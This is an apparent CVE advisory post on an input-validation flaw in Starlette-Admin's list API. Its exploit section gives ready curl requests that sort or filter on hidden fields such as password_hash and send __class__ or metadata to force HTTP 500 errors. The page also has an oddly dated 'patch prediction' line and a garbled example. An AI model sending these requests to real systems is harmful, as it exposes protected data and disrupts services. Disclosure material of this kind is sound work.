Starlette-Admin, Improper Input Validation, CVE-2026-54553 (Medium) -DC-Aug2026-1932

Listen to this Post

Starlette-Admin is a fast, beautiful, and extensible administrative interface framework for FastAPI and Starlette applications. Prior to version 0.16.1, the list API does not validate user-supplied `order_by` and structured `where` field names against the configured `sortable_fields` and `searchable_fields` allowlists. While the administrative user interface restricts available fields based on field configuration, the backend accepts arbitrary field names supplied through API requests.
An authenticated user with access to an affected list endpoint can submit crafted requests to sort or filter records using fields that are not intended to be searchable or sortable, bypassing the restrictions presented by the administrative interface. Additionally, supplying invalid field names or special Python attribute names such as `metadata` or the class dunder attribute (__class__) can trigger unhandled exceptions that result in HTTP 500 responses. The vulnerability resides in the `starlette_admin/base.py` file and the `BaseModelView` validation path.
This issue is categorized under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-248 (Uncaught Exception), and CWE-639 (Authorization Bypass Through User-Controlled Key). The vulnerability was assigned CVE-2026-54553 on June 15, 2026, and was published on August 26, 2026. The CVSS v3.1 base score is 5.4 (Medium), with the vector: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L. The attack can be launched remotely, requires low privileges, and has low complexity. The vulnerability affects all versions before 0.16.1 and is fixed in version 0.16.1. There are no known workarounds; users should upgrade to version 0.16.1 or later.

DailyCVE Form:

Platform: Starlette-Admin
Version: < 0.16.1
Vulnerability: Improper Input Validation
Severity: Medium (5.4 CVSS)
Date: 2026-08-26

Prediction: Patch expected 2026-06-15

What Undercode Say:

Check installed version
pip show starlette-admin | grep Version
Identify vulnerable endpoints
Look for list API endpoints using order_by and where parameters
Example: /admin/api/list?order_by=<strong>class</strong>
Test for vulnerability
curl -X GET "http://target.com/admin/api/list?order_by=__class__" \
-H "Authorization: Bearer <token>"
Expected: HTTP 500 if vulnerable, HTTP 200 if patched
Test sorting on non-sortable field
curl -X GET "http://target.com/admin/api/list?order_by=secret_field" \
-H "Authorization: Bearer <token>"
Test filtering on non-searchable field
curl -X GET "http://target.com/admin/api/list?where=secret_field==value" \
-H "Authorization: Bearer <token>"
Upgrade to patched version
pip install --upgrade starlette-admin>=0.16.1

Exploit: (Educational Purposes!)

An authenticated attacker can exploit this vulnerability by crafting API requests with arbitrary field names in the `order_by` or `where` parameters:

1. Bypass UI restrictions - sort by hidden field
curl -X GET "https://target.com/admin/users/list?order_by=password_hash" \
-H "Authorization: Bearer <authenticated_session>"
2. Bypass UI restrictions - filter by hidden field
curl -X GET "https://target.com/admin/users/[email protected]" \
-H "Authorization: Bearer <authenticated_session>"
3. Trigger HTTP 500 DoS using Python special attributes
curl -X GET "https://target.com/admin/users/list?order_by=__class__" \
-H "Authorization: Bearer <authenticated_session>"
curl -X GET "https://target.com/admin/users/list?order_by=metadata" \
-H "Authorization: Bearer <authenticated_session>"
4. Combined attack - multiple invalid parameters
curl -X GET "https://target.com/admin/users/list?order_by=__class__&where=__dict__==test" \
-H "Authorization: Bearer <authenticated_session>"

Protection:

  1. Upgrade immediately to Starlette-Admin version 0.16.1 or later
  2. Validate all user-supplied input against configured allowlists on the backend, not just the UI
  3. Implement proper exception handling to prevent HTTP 500 responses from unhandled exceptions
  4. Use a Web Application Firewall (WAF) to block requests containing suspicious field names like `__class__` or `metadata`
    5. Monitor logs for HTTP 500 responses and unusual `order_by` or `where` parameter values
  5. Apply the principle of least privilege – ensure users only have access to endpoints they need

Impact:

  • Information Exposure: Authenticated users can sort or filter on fields not intended to be searchable or sortable, potentially exposing sensitive data
  • Denial of Service: Invalid field names or special Python attribute names such as `metadata` and `__class__` can trigger unhandled exceptions, resulting in HTTP 500 responses that cause limited denial of service for targeted endpoints
  • Bypass of UI Restrictions: Intended administrative interface restrictions can be bypassed via direct API requests
  • No known workarounds exist; upgrading is the only solution

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top